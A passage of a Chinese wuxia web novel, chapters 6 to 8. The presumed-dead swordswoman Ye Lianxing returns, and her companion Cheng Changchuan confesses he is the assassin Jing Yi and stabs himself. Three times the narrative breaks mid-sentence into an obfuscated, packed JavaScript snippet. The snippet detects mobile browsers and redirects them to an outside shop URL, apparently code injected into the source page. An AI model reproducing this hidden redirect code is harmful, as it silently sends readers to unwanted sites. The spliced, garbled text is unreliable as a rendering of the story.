秋向晚一眼便在她身后的人群中找到了师兄夏清和,而后是空净大师、不知怎么有些狼狈的花如锦,以及同样有些狼狈的玉湖山庄少庄主周敬。 虽然暂时好像没看见断刀门那位讨人嫌的少门主,但方才程长川既能胜闻承风一筹,如今虽不知怎么闻承风功力看上去比之前更高了,但好歹他们这边多了四大高手和一大群武功不太高但多少能有点用的帮手。 ……应该不会再输了吧。 陆清晓听见声响,也回过头,一眼便看见走在最前方的关情不知怎么忽然顿住脚步,神情怔然又震惊地看着前方某处,嘴里喃喃念出了三个字。 距离太远,陆清晓听不清她声音。 也可能是关情兴许太震惊,声音似乎都没能发出来,因为陆清晓并没有看见关情身旁的人对此有任何反应。 但陆清晓和芙蓉会里一个姐姐学过唇语,大致能辨认出是哪三个字。 秋向晚确定好帮手之后,目光不由自主又回到师兄身上。 夏清和也在看她,应该是确认好了她身上没伤,他表情明显一松。 秋向晚正想抬手招呼他过来,心里不知怎么倏然涌起一股说不出危机感,几乎是同时,她听见身后有一点细微的破空声。 她蓦地回头。 只见斜侧方不远处的树林中一柄飞刀直直朝她这边射过来。 不对。 不是她这边。 看角度,目标应该是她身旁的陆清晓。 进四青山前,她和师兄一直站在离程长川不远的地方,因而也听见了关情对程长川的那一句嘱咐。 她以为大家此番都是不顾生死来为叶连星报仇,没想到还真有人趁机浑水摸鱼。 暗中动手之人不知是谁,大约是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897282|192262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一个觊觎霞影刀的小人,但那柄飞刀速度极快,上面还闪着幽暗的绿光,应当是淬了毒,转眼便已到眼前。 方才程长川和闻承风的那场决斗根本没有能让人插手的余地。 插手不上,秋向晚自然就连剑都还没拔。 此时再拔已经来不及,而且她心里再明白不过,以她的功夫,拔不拔剑大约都是挡不住这一击的。 而刚赶到的大部队还远在溪对岸,程长川也不近,谁也来不及救援。 陆清晓功夫比她高,按理原本应该比她更快察觉。 但她猜可能是关情忽然出现,陆清晓和关情相处几年,不是亲人胜似亲人,而陆清晓再冷静早熟,也不过才十一岁,危机关头看见亲人自然一时容易分心。 那一瞬间。 秋向晚似乎想了很多。 可能是那把霞影刀实在太长太大,衬得陆清晓太矮太小,哪怕已经知道她武功和见识都不俗,但在秋向晚眼中,对方仍是一个小小的、早早失去所有亲人的、还没来得及长大的幼童。 也可能什么都没来得及想。 她几乎在一瞬间便下意识转身抱住了陆清晓,用后背挡住疾袭而来的飞刀。 转身的一瞬,秋向晚再次在溪那头的人群中一眼看见了夏清和。 她还是第一次在温文尔雅的师兄脸上看到如此惊慌失措的神色。 秋向晚想起早上出门时,她看着程长川寂寥背影有感而发,说自己要死也要死在夏清和前面。 师兄当时摸了摸她脑袋说:“说什么傻话,师兄怎么可能让你死在我前面。” 眼下看来,倒是真让她提前说中了。 只可惜,这次要让师兄食言了…… 秋向晚鼻尖一酸,倏地闭上眼睛—— 可比预想中的疼痛更先到来的,是一声哐当轻响。 秋向晚睁眼循着声音望去,却见身前几步远的小屋窗户不知怎么打开了,一样东西从中急速飞出。 快到眼前,她才看见那一把长刀。 这一刀极迅速极锋锐,裹挟着一股翻江倒海般的无双气势,却又幽微极精细,掠过她身侧时,刀风竟连她身上衣物都未曾划破—— 随即后发先至地、分毫不差、精准无比地打落了那把已然离她后心不到半寸的飞刀。 已经同夏清和一同奔至溪边的花如锦细雨三更已经出手,望见这一突如其来又神乎其神的一刀,脚步倏然一顿,失声脱口道:“截云刀第六式定乾坤,怎么会——” 咋一听见她这句话,秋向晚脑中像是突然空白了一瞬,只觉自己好像完全没听懂她在说什么。 直到被她抱住的陆清晓也喃喃开口。 “……定乾坤。” 从见面开始,就一直极度冷静的小少女到这时终于细细哽咽了一声。 “怎么会是截云刀,叶姐姐不是——” 她倏然又停住。 秋向晚知道她大约是不敢问下去,因为她也不敢回头去看刚才救下自己的那把刀是什么模样。 是不是……截云刀的模样。 截云刀法一共六式,前五式她都曾见过,方才那石破天惊的一招,竟然就是她此前未曾有幸得见的……第六式定乾坤吗? 可叶连星不是…… 但方才程长川方才那招起手时也有点像截云刀的第一式“翻春雷”,会不会是她们认错了… 可武学之道何其精深幽微,个人独门招数也并非草草看上几眼就能学会,差之毫厘便谬以千里,否则江湖之中也不需要有门派之分,否则也不会有人百般惦记陆家的霞影刀秘籍。 据她所知,叶连星师父只收过她一个徒弟,而她师父本人也早在五年前被人所害。 而且程长川方才那招也不过起手时有点像,武功平平如她都能看出那并非是真的截云刀,实际还是风流云散的变招之一。 这招“定乾坤”,花如锦和陆清晓未必还能认错吗? 因为大队人马到来而变得闹哄哄的六绝谷在一瞬间忽然陷入了死一般的静寂中。 过了短暂的一刻。 又好像是过了漫长的一生。 方才长刀破窗而出的小屋门终于被推开。 一个身穿黑衣劲装的年轻姑娘抬脚走出来。 6. 因由 第6章 那人乌黑长发高高挽起,小小的一张鹅蛋脸,应该是重伤未愈,唇上不见一丝血色,若不是细密长睫下,一双生得极漂亮的眼睛既清且亮,几乎看起来是温柔无害的。 但见识过方才那一刀,谁也不会将她与“温柔无害”挂钩。 而且在场诸人都是为同一目的来到六绝谷,几乎没人不认识这张脸。 能使出刚才那一招“定乾坤”的,能在重伤情况下,还使出刚才那一招气势无双的“定乾坤”的人—— 除了叶连星本人,不会再有第二个。 一干听闻叶连星身死,前来为她报仇的江湖人士,忽然见到本人“死而复生”出现在眼前,全都既惊且讶。 叶连星却没空同众人先打声招呼,刚一出门便立即走向了大家眼中的“凶手”闻承风。 “用这招,你疯了吗。”她秀眉微蹙,伸手去夺他手中长剑。 半张脸染了血污,方才还气场强大宛如一尊邪神的年轻男人竟没有半分抵抗,松手便将剑给了她。 江湖中人,兵器再重要不过,非极亲近极信任之人,不可交付。 长剑一脱手,闻承风便像支撑不住似的,往叶连星那边一倒。 叶连星伸手扶了一把,一连点了他身上几处大穴替他止血,声音低下来:“你先打坐调息。” 闻承风在她身上靠了片刻,像是攒了攒力气,而后才轻轻应了声:“好。” 秋向晚是最懵的那一个。 从刚才察觉到偷袭的飞刀至今也不过短短片刻,她却经历了比她人生之前十数年还多还大的变故,正满腹疑惑,很想走过去摸摸不远处的叶连星是不是真的,手有没有温度,怎么会和活阎王闻承风一副十分熟稔的模样,会不会是她死前出现了什么幻觉,还是这其实都是一场梦境。 但她刚一松开陆清晓,准备过去,便被人抓住手腕,一把拥进了怀里。 ——所有人都在关注“死而复生”的叶连星时,有人第一时间赶到了她身边。 陆清晓一闻见那股熟悉气息,便知来人是谁,只觉对方握在她腕间的手冰得不像话,依稀还有几分颤抖。 她这一下便也顾不上人多害羞了,反正大家这会儿应该也没心思关注她。 秋向晚抬手在那人后背轻轻拍了拍,轻声道:“师兄我没事的,你别担心。” 秋向晚没能成功走到叶连星身边。 有人先走过去了。 ——是芙蓉会主关情。 她目光微垂,落到叶连星手中长剑上,眼神中满是怀念之意:“是照霜剑吗?” 叶连星点点头。 “真好啊,你没事。”关情略顿了顿,眼眶也红了,“苏前辈竟也还有传人。” 陆清晓在一旁听到此,便知自己没有看错,方才在溪对岸,关情口中那三个字真的是“繁霜白”,在破庙前她曾提过的,剑神苏云起前辈的绝招之一。 只是活阎王闻承风不是惊雨楼的第一杀手惊一吗? 怎么会突然又变成了剑神传人? 秋向晚听到这儿,满心疑惑终于再压不住,从师兄怀里钻出来,目光望向不远处的年轻姑娘。 “叶姐姐,你怎么,你不是死了……呸,你怎么还活着……呸呸……”秋向晚刚绝处逢生,又满心疑惑,不由有点语无伦次,“这到底是怎么一回事?” 叶连星朝身后正打坐调息的年轻男人轻轻抬了抬下巴:“是他救了我。” “他救了你?” 秋向晚更茫然了。 不是说闻承风才是杀她的凶手吗? 叶连星说的话,秋向晚自然全盘相信,于是便把目光又转向了人群中某个没有头发的人。 ——在场诸人早过溪来了他们这边,空净大师也不例外。 “大师,你不是说是姓闻的——”秋向晚这几日不知骂了闻承风多少次,下意识差点把之前骂他时的称呼脱口而来,卡了下才改过来,“闻公子杀了我叶姐姐吗,你们出家人居然还骗人?” 亏她当他是少林高僧,这般相信他。 “阿弥陀佛。”空净大师念了句佛号,“出家不打诳语,老衲确实亲眼看见闻施主将剑插进叶施主心口。” “你胡说。”秋向晚见他还撒谎,气得不行,“叶姐姐明明说——” “向晚。”叶连星轻声打断她,“大师没有胡说。” 秋向晚愣住:“啊,怎么又没有胡说,这到底是怎么一回事?” “大师当时是亲眼看见他将剑插进了我心口,”叶连星看向空净大师,“还是看见剑插在我心口,而他手握着剑柄?” 空净大师怔了一下,转瞬便明白过来:“阿弥陀佛,老衲惭愧,幸而没造成不可挽回的后果,否则老衲万死难辞其咎。” “什么意思?”秋向晚觉得自己可能被这一连串变故折腾傻了,全然没听明白,“什么看见他将剑插进了我心口,还是剑插进我心口而他手握着剑柄?” 夏清和给她解释道:“意思就是将剑刺进叶姑娘心口的应该另有他人,我猜闻公子大约是在对方行凶之后正好赶到,手握剑柄可能是在犹豫要不要替叶姑娘拔出来,而空净大师又正巧在此时路过,看到叶姑娘心口中剑,而剑柄又握在闻公子手上,便误以为是闻公子将剑刺进去的,人有时候会过分相信自己的眼睛。” 秋向晚听完师兄的解释,一个疑惑刚解开,另一个疑惑又从心头浮起,她不由又转向叶连星:“叶姐姐,既然不是闻公子伤的你,那剑到底是谁刺进你心口的啊?” 叶连星还没开口,一道清冷声音先响了起来。 “是我。” 听见这声音,秋向晚心口蓦地一震,不可置信地回头循着声音望过去。 “不可能。”秋向晚又开始疑心自己是在做梦,“你别开玩笑了。” 只见那人高大身影缓步朝他们这边走过来,寒眸如星,目光不带一丝感情地望了她一眼:“你可以问问空净大师那把剑长什么样。” 剑长什么样? 因为是空净大师亲眼见到“凶手”行凶,谁杀了叶连星这一事实是“毋庸置疑”的,所以当初他们谁也不曾关注过这等细枝末节的小事,也没有心思关注。 秋向晚又转向空净大师,呆滞地问道:“大师,那把剑长什么样?” 空净大师回忆片刻:“银白色剑柄,剑柄上似乎刻有许多雪花状的纹样。” 秋向晚惊得往后退了一步,片刻才喃喃道:“……是溪雪。” 她惊愣不已,目光死死看向方才那人手中的簇新长剑。 “怎么会是溪雪?” 早晨,她敲开那人房门时,看见这把新剑,只以为是鱼长青大师正好在这时把新剑送过来,而新剑意义又非同一般,因而他才换下了暂时借用的溪雪。 可是。 怎么会呢? 明明他是最不可能伤害叶连星的人才对啊。 叶连星在这时轻声开口了。 “不辩解一下吗?” 那人拎着簇新长剑,停在人群前方几步位置,没再往前走,只是目光落到叶连星身上时,才收了那一身的冷漠,轻轻偏头笑了笑。 “你都已经知道了,辩解给其他人听有什么意义。” 叶连星目光扫过他身后那浩浩荡荡的一大群人,轻叹了口气:“你明知空净大师有所误会,不该放纵谣言惊动这么多人的。” “我不知道他们还通知了关会主和陆姑娘,至于其他人——”那人目光只静静望着她,一眼也不看其他人,语气浑不在意、毫无波澜,“他若没本事救活你,这些人自然应该来送你一程,他若有本事救活你,他们也应该知道天下第一刀没有、也永远不会输给其他人。” 叶连星沉默良久:“孩子呢?” 夏清和这时也轻轻叹了口气,低声道:“难怪当时叶姑娘会给师父去信询问惊雨楼事宜,我还只当她是想多方验证一下。” “什么孩子?”秋向晚还在茫然之中,“怎么又扯上爹爹了?” 夏清和垂眸看她:“说了你可别哭。” 秋向晚眨眨眼:“我哭什么?” 夏清和轻叹:“程公子应该才是惊一。” 秋向晚蓦地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897283|192262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆住。 夏清和转头看了那人一眼:“难怪当初江湖上最神秘的杀手组织会在一夜之间覆灭得如此干净,没有人比惊雨楼的第一杀手更清楚楼内有哪些成员了。” 秋向晚怔怔道:“……还有此前在四青山,我们是跟着程……是跟着他才出阵的,我还以为是活……是闻公子故意放他出来的。” 可他不是不懂阵法吗。 端午那晚,还曾同他们一同在阵法中困了足足一个时辰。 到底什么是真的。 按程长川的功夫,这番话应该听得一清二楚,但他目光却仍旧动都未曾动过一下,只静静望着叶连星,好像眼中只看得见她一人一般。 “你过来,我告诉你。” 叶连星并不迟疑:“好。” 刚一抬脚,却听程长川又低声开口。 “空手过来,不要带他的武器。” 叶连星点点头,将手中的照霜剑靠放在一侧的墙边。 这次才走出一步,一个矮矮小小的身影忽然冲过来张开手臂挡在她前面。 “叶姐姐别去。” 叶连星摸摸她小脑袋:“没事,别担心。” 她手很凉,但触感再真实不过。 不是虚妄的梦境,是实实在在的落到了自己头上。 ……她还以为此生再见不到她了。 陆清晓倏地湿了眼睛。 “你伤还很重是不是,别过去。” 小姑娘固执地挡在叶连星前面,像稚嫩的雏鹰,试图以小小的身躯来护卫她。 叶连星声音轻了几分:“信我吗?” 陆清晓哽咽道:“信的。” 叶连星低头看着她道:“那就听话,回去你关姨边上陪着她。” 陆清晓红着眼看了她片刻,终究还是放下了手臂,走回到关情边上。 叶连星目光扫过人群中的花如锦,见她模样虽狼狈,却都只是点无伤大雅的轻伤,便冲她开口道:“阿锦,林子里的人我暂时还没空处理。” 她冲关情、陆清晓以及仍在调息的闻承风抬了抬下巴。 “这边你帮忙照看一下。” 花如锦点头:“你放心。” 她说着抬脚便要过去,刚一走,就感觉身后有人跟了上来。 花如锦回过头,看见身后那人同自己差不多狼狈,眉梢不由轻轻一挑。 “这都出来了,你还跟我干什么?” 周敬耳朵一红:“谁跟着你了,霞影刀陆前辈只剩这一点血脉,关前辈大仁大义,那位闻公子又听闻是剑神苏前辈的传人,于情于理,我们正派中人都有义务要保护他们的。” 秋向晚大脑仍处在一片混乱之中,全然没明白,怎么短短一瞬间,活阎王闻承风便摇身一变成了已故剑神苏云起的传人,而她一直信任的程长川竟才是真正的惊一。 但程长川才是“杀害”或者说伤害叶连星的真凶这一点是毋庸置疑的。 虽不明白因由,但此刻见叶连星决定空手过去,她心不由又高高悬起来,眼睛睁得大大的,连眨都不眨一下,一瞬不瞬地盯着程长川,生怕对方再做出什么不利举动。 果不其然,叶连星离他只剩数步时,秋向晚便见他手腕倏然一抖,簇新的流云剑便直朝叶连星刺去。 “叶姐姐小心!” 秋向晚一边惊呼,一边去找方才叶连星从屋内掷出来替她打落飞刀的那把长刀。 没猜错的话,那应该就是叶连星的截云刀。 早知道她就应该早早捡起来拿在手上,现在也好立即扔过去,此刻也不知还来不来得及。 秋向晚正心焦不已,忽被身边的师兄一把拉过去。 “别急。”夏清和轻声安抚道,“程……程长川应该没有伤害叶姑娘的意思。” 夏清和既能看出来,叶连星自然不会看不出。 程长川刚一出手,叶连星便知这是一招虚招,或者说,程长川连十分之一的实力都没用上,留了许多破绽供她空手招架。 叶连星抬手一挡,正要问他缘由。 便在此时,变故陡生—— 7. 旧事 第7章 程长川左手忽地反手握住她方才架在他腕上的手,倏然往漆黑剑柄上一按,随即那把簇新的流云剑剑尖迅即一转—— 反手刺进了他自己的心口。 据说惊雨楼排名第一的杀手惊一武功奇高,行踪成谜,除惊雨楼外,无人知晓他是何模样,因为所有见过他的人,都已经成了死人,只知道他用的是剑,一把很快的剑。 叶连星与他相识五年,还是第一次真正见识到他的剑到底有多快。 别说她此刻身有重伤,就算没伤,也不确定自己有几分把握能拦住这一剑。 叶连星蓦地怔住。 握着她手将剑狠狠反刺进自己心口的年轻男人却连眉头都没皱一下。 “这一剑还给你,那天我……”他静静看着她,眼眶倏然红了,“不是故意的。” 叶连星怔然道:“我知道。” 她答应空手过来,是因为看得出程长川并没有伤害她的意思,但她没看出他是打算伤害自己。 程长川今日也穿了一身黑,从心口溢出来的血没入衣物中便没了踪影,只剑身和垂下来的白发上染了一丝红。 叶连星抽了一下手,没能抽动。 “你松手,我给你拿药,路家的事,等见了那孩子再——” “别动。” 程长川反而将她手握得更紧,他红着眼笑了下。 “没用的,你不是都已经知道了吗,我就是惊一,没人比我更擅长杀人。” ——哪怕杀的是他自己。 “我留了几分力气,是因为还有几句话想和你说,你一动,我可能连这几句话都说不完了。” 叶连星低头,看见那把崭新的流云剑同三天前的溪雪一样,不偏不倚地直直插在心口上。 他说这一剑还她,一分都没有偏差。 叶连星手蓦地顿住:“……你说。” “除了惊雨楼之外,其他的事,我都没骗你。”他心口染血的布料颜色越来越深,于是声音也越来越低,听上去几乎是温柔无比的,“路家那孩子没事,在云苍镇外十余村的一户人家里,过几天会有人给你送过来,你不想他死,我自然不会动他。” 听说人死之前会有走马灯。 程长川忽然想起了他第一次出任务那天晚上。 那是一个很普通,很平静的夜晚。 金针路家世代行医,除了几个看家护院会点拳脚功夫之外,大部分都是手无缚鸡之力的普通人。 那个任务执行起来毫无难度,几乎像是一场……屠杀。 最后一个人倒下时,程长川拎着尚在滴血的长剑缓缓朝外走。 路过一对拥在一起的男女的尸体时,他脚步顿了顿,用剑拨开了紧靠在一起的人,毫不意外地在两人尸身下面,发现了一个活口。 那是一个尚在襁褓中的婴儿。 这对男女大约丝毫不懂武学之道,天真得厉害,不知道对于学武之人而言,修为到达一定程度便能轻易感知到在场之人的气息,除非对方修为更高。 或者他们可能也懂,只是更天真地抱有一丝奢望。 程长川抬起长剑,鲜血滴在婴儿脸上。 那孩子刚巧在这时醒来。 他实在太小,小到不懂什么是生死,甚至可能是吓呆了,也不知什么是恐惧,一双琉璃似的眼静静望向他。 程长川忘了那一剑最终是为何没有落下去。 只记得,那是他杀手生涯中,留下的唯一一个活口。 后悔吗? 在很长一段时间里,程长川并不知道“后悔”是一种什么样的情绪。 养育他长大的人只教会了他杀人。 直到十九岁那年,他接到一个新的刺杀任务。 那人武功路数十分诡谲,是他有史以来遇到的最难杀的对象,他也因此受了有史以来最重的伤。 但终究是他赢了。 如果不出意外的话,他会休息一阵,再回楼里接任务,再去杀人,再休息。 过着周而复始、毫无新意的生活。 但那人濒死前看到了他肩上因打斗后衣服破损而露出来的胎记,然后告诉了他一个秘密—— 养育他长大的惊雨楼楼主并非他父亲的好友。 而被他重伤躺在地上快死了的人才是他父亲真正的好友。 当初因为练功方式有分歧,那人与他父亲分道扬镳,再无联系,直至听闻儒剑陆家灭门,这些年他一直在多方调查,寻找证据,最近才发现所有线索都指向了同一个人—— 惊雨楼楼主。 临死之前的最后一句话,那人告诉了他这些年找齐的证据所存放的地方。 程长川自己伤得也重,没能撑着走到那处地方,便晕在了半路。 再次醒来时,意识尚不算清晰,眼睛都睁不开,迷迷糊糊间听见两个姑娘在聊天。 先开口的那个声音清脆。 “里面那位还没好呢,你居然真就要走了吗?” “不是跟你说了吗,我的花快开了。” “你好歹也算是个大夫,到底是病人重要,还是花重要啊?” “你懂什么,我那花可是我千辛万苦从南疆带回来的,花费了百般心思才养活,以后要入药用的,珍贵得很,里头那位现在又死不了了,既然死不了,那当然没我的花重要。” “但是你走了,谁给他煎药喂药啊,我又不会。” “你自己捡的人,你自己管,不会就学,我不是都给你把煎药方法写下来了吗?” “煎药方法你足足写了三页纸,我才看一页就已经头痛了,而且你那破字谁认得啊。” “他伤成这样,能救回来都全靠我本事大,三页纸已经算少的了。” “算了,你爱走走吧。” “那我真走了,哎……对了,你这次去青州找到杀你师父那人的线索了吗?” “没呢,根本不是同一把剑。” …… 意识又缓缓陷入一片混沌中。 程长川再次醒来时,是被药苦醒的。 杀手受伤,是家常便饭,程长川没少吃过药,苦成这样的,还是头一回吃。 他仍旧睁不开眼,只觉那姑娘一喂完药就探手过来摸他脉门。 温暖的触感落上来,指尖十分纤长,指腹上有明显的薄茧,应该是个会武的姑娘。 ——不然应该也没胆子半路捡一个重伤濒死之人回来。 摸完脉,她明显重重松了口气。 “还好还好,没死,那药应该没煎错…吧?” …… 程长川再一次有意识,是被药呛醒的。 “上回明明好好的,这次怎么还呛着了。”那姑娘一边一回生二回熟地直接去摸他脉门,一边没多少诚意地道歉道,“不好意思啊,我也不是专门的大夫,你就忍一忍吧。” …… 彻底清醒,是在一个大晴天。 程长川刚一睁眼,便被从窗棂斜射进来的太阳晃了目。 屋里药香浓郁。 那煎药能苦死人,喂药能呛死的人姑娘乌发高高挽在脑后,正半蹲着熬药,她似乎不止会武,修为明显还不低,他甫一动,她便回头看了过来。 少女年纪不大,约莫十五六岁,小小的一张鹅蛋脸,也不知药是怎么煎的,两边瓷白脸蛋上都沾了黑灰。 同那双既清且亮的眼睛对上的一瞬,程长川心一瞬间剧烈地跳动起来。 只他那时尚不明白那意味着什么。 那姑娘显然很高兴,忙起身走到床边。 “你醒啦,感觉怎么样,对了,你叫什么啊,用不用我想办法通知你家人?” 程长川没回答她问题。 因为他暂时也不知道自己该叫什么。 少女伸手在他眼前挥了挥。 “你不会说话?” 程长川没等伤完全养好,第二天一早便离开了。 他是在那姑娘去后山练刀的时候走的。 程长川也不明白自己为何要不辞而别,可能是不知道要怎么同她解释,也可能是本能地知道一看见她,自己也许便会不想走了。 而他还有不得不去确认的事。 程长川找到了那个刺杀对象存放的证据。 很琐碎,也很齐全。 他一边养伤,一边又自己查证了一遍。 伤彻底养好那晚,程长川回到了惊雨楼。 那也是一个很平静、很普通的夜晚。 不知道他全家被杀的时候,是不是也同样平静普通。 那晚过后,江湖上再也没有惊雨楼,也再没有惊雨楼排名第一的杀手惊一。 大仇得报,程长川并没有想象中的痛快高兴,更多的是茫然。 自他有记忆以来,便是跟着惊雨楼楼主。 除了杀人,他似乎没其他会做的事情,也没有其他想要的东西。 他甚至想不起亲人的模样。 程长川漫无目的地走了一晚上。 天蒙蒙亮的时候,他正好走到了一条热闹的街市上,沿路都是叫卖声,不会武功的普通人摩肩擦踵,谈笑讲价。 很新鲜的感觉。 惊雨楼的杀手除非任务,甚少在日间活动。 他们是见不得光的。 程长川随意挑了个面摊坐下。 面刚一上来,旁边桌又来了两位客人,粗布短打的打扮,看起来像是江湖人士。 果然,才一坐下,二人便聊起了近日的江湖轶事。 “你听说了没,溪山老怪死了?” “哦,这恶贯满盈的老头终于死了吗?怎么死的?哪位大侠替天行道了?” “据说是路过一个茶棚时,死性不改又试图去调戏一个年轻漂亮的小姑娘,结果被那小姑娘反手一刀砍断了手臂。” “溪山老怪虽奸淫掳掠无恶不作,但武功着实不弱,竟被一个年轻姑娘轻易就砍断了手臂?” “是啊,听说老头气得不行,当场报出名号,扬言说要那姑娘吃不了兜着走。” “然后呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897284|192262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“然后那姑娘说,溪山老怪是吧,那就没找错,我就是来杀你的。” “然后还真让她给杀了?” “何止杀了,溪山老怪在她手上都没能过到三十招。” “这姑娘哪家的后辈啊,竟这般厉害?” “来路不知,师门不详,只听说这姑娘姓叶,随身带着一把叫‘截云’的宝刀,大家现在便都以‘截云刀’来称呼她。” …… 在那日之后,江湖上便多了一个会“流云剑”的剑客。 程长川当时还不明白为什么,可能是经常于生死间徘徊的杀手都有一种本能的直觉,那股直觉驱使他再次回到了她身边。 而这次,他终于能光明正大告诉她,他叫程长川。 少女当时瞪大眼睛,一副上当受骗了的模样:“你居然不是哑巴?” 程长川其实并不太懂她的一些行为,但这也并不妨碍他本能地想靠近她。 因而,她想找杀害师父的凶手,他就帮她找;她想救什么人,他就帮她救,她想杀什么人,他也帮她杀。 之后的几年,他有时分开去帮她找线索,有时候会回到她身边。 每每回到她身边时,好像一切都会不太一样。 天更蓝些,树叶更绿些,花更香些,阳光更热烈温暖一些。 也是很久很久之后,程长川才明白,那叫欢喜。 他原本以为日子会这样一直持续下去。 虽然她有自己的路要走,有自己的仇要报,有很多朋友,能分给他的时间和注意并不多。 但偶尔朝他看过来一眼,朝他笑一笑,好像就也够了。 直到金针路家的老仆带着那个孩子,那个他当初剑下唯一留的活口,找上叶连星。 程长川才恍然想起,他与她并非一直“同路”。 他曾是个双手沾满鲜血的杀手。 程长川并没有阻拦她去查当年真相,他并不想阻拦她做任何事,他也知道她一定能查清。 因而收到她传信,约他在云苍镇外破庙见面时,他并没有惊讶。 他早有预料。 只是在破庙里,真看见叶连星出现时,程长川才发现自己并没有预想中那么坦然无畏,他甚至方寸大乱到没有看出叶连星当时受了严重内伤。 她这些年风头太盛,有像秋向晚那样的崇拜者,也有像余响那样觊觎她头衔,想取而代之的挑战者,更有不少想将她除之而后快的仇人。 以往他都能看出她受没受伤,只这一次没看出来。 而这一次便足够让他悔恨不已。 叶连星刚一带着路家那两人进门,他便挥剑刺了过去。 剑尖对向的当然不是叶连星。 而是她身后的两人。 他也并不是真的要杀那两人。 或者说,他杀或不杀,全看叶连星的意思。 以叶连星的性格,在跟他确认前,不会随意将查到的真相到处宣扬。 只要杀了路家这两个幸存者,那天下便不会再有第三个人知道他就是惊一。 直到看到叶连星想也没想,几乎是下意识便将那两人挡在自己身后时,程长川才恍然明白,对于叶连星而言,有些原则是比她自己性命更重要的东西。 那是叶连星之所以成为女侠叶连星的最重要的组成部分。 程长川太清楚她实力,又因方寸大乱没看出她受了严重内伤,所以完全没想到她会避不开那一剑,而他又实在太擅长杀人—— 那是杀手生涯中无数次经验锤炼进骨血的习惯。 所以连后悔都来不及,那一剑不偏不倚刺进了叶连星心口,只勉强撤下了几分力道。 好在闻承风及时赶到。 叶连星的一众朋友中,他与闻承风最不对付,但水明霞不在,能救她的也只剩剑神苏云起的照霜心法。 方才进谷,看见闻承风独自出现的时候,他几乎都以为…… ……还好她没事。 …… “远不止路家,我杀了这么多人,这么多无辜的人……”程长川感觉双手渐渐失温,渐渐再握不住她的手,双脚似乎也支撑不住身体,他低头往她肩上靠了靠,“早该有这么一天。” 惊雨楼并不像江湖传言那般从无失手。 只是前一个杀手失手,会再派排名更高的杀手继续执行任务。 而任务失败没了性命的杀手会被楼内的人带走,随便找块地方草草下葬,不会有墓碑,不会有姓名。 杀手本来也没有姓名。 程长川原本以为那也会是他的结局。 如果当初没有在半路被她救下,那也确实会是他的结局。 能偷得这五年的时间,已经足够了。 “能死在你怀里……”生命的最后关头,他好像也无需再克制或隐藏什么,于是用尽最后一丝力气抱住她,“已经是我最好的归宿……” “如果有来世,我想……” 能从一开始就当个好人。 能从一开始,就和你当……同路人。 8. 尾声 第8章 在场众人尽皆震惊于这场变故。 程长川自认凶手时,也不是没人怀疑过既然他才是惊一,那与他交情颇深的叶连星同惊雨楼会不会也有联系,但也都随着这惊人的反手一剑烟消云散。 偌大的六绝谷再次陷入死寂中。 只剩傍晚风吹过树叶,簌簌的轻响声。 直到被陆清晓一声惊呼打破。 “叶姐姐,你快来看,活……闻公子吐血了。” 叶连星这才骤然回神,将靠在怀里上的人轻轻放到地上,转身快步折返回屋边。 年轻男人半张脸本已都染了血污,此刻又添上新鲜血迹,似乎已经无知无觉地晕了过去。 叶连星忙蹲下身去探他脉搏,只见他原本只是有点虚弱的脉象,此刻竟微弱得快要摸不出来。 她忙抬头看向花如锦:“阿锦,你帮我看看。” 花如锦走过来,半蹲身伸手去探脉。 片刻,她摇摇头:“如果是中毒,我可能还有办法,他这种情况……我救不了。” 关情也走过来探了探脉,一脸失色,忙看向叶连星问道:“小药圣有没有给你留过什么保命可用的药?” “有。”叶连星忙伸手去口袋摸出一个青绿的小小瓷瓶。 揭开瓶盖,往手上一倒,却倒了个空。 “他知不知道你身上有这药?”关情问道,“这药是不是服用过后会立即陷入假死状态?” 叶连星僵着手点点头。 “难怪当时空净大师会误会你已经去世。”关情道,“应该是当时闻公子已经把药给你用了。” 不用她提醒,叶连星也已经猜到。 关情喃喃道:“他应该是先用了照霜心法替你疗伤,后面又为了阻拦我们动用了繁霜白,我早应该想到的,我以为你及时劝住了就……” 秋向晚也早关切凑了过来,此刻不由插话道:“他怎么不跟我们解释啊?他要告诉我们他是在救叶姐姐,我们肯定不会捣乱的。” 关情叹气道:“你忘了伤连星的人是谁了吗,闻公子还敢信谁,而且就算他跟我们解释了,在没见到连星前,我们难道就会轻易信他吗?但连星苏醒前,但凡不小心放进去哪怕一个心怀不轨之人,便都有可能功亏一篑。” 秋向晚:“……” 这倒也是。 别的不提,他们这群人里还真混进了心怀不轨之人。 秋向晚念头转到这,忽然想起什么似的,又看向叶连星道:“对了,叶姐姐,这里不是六绝谷吗,明霞姐姐应该不止炼了这一颗吧,家里是不是应该会留一点?” 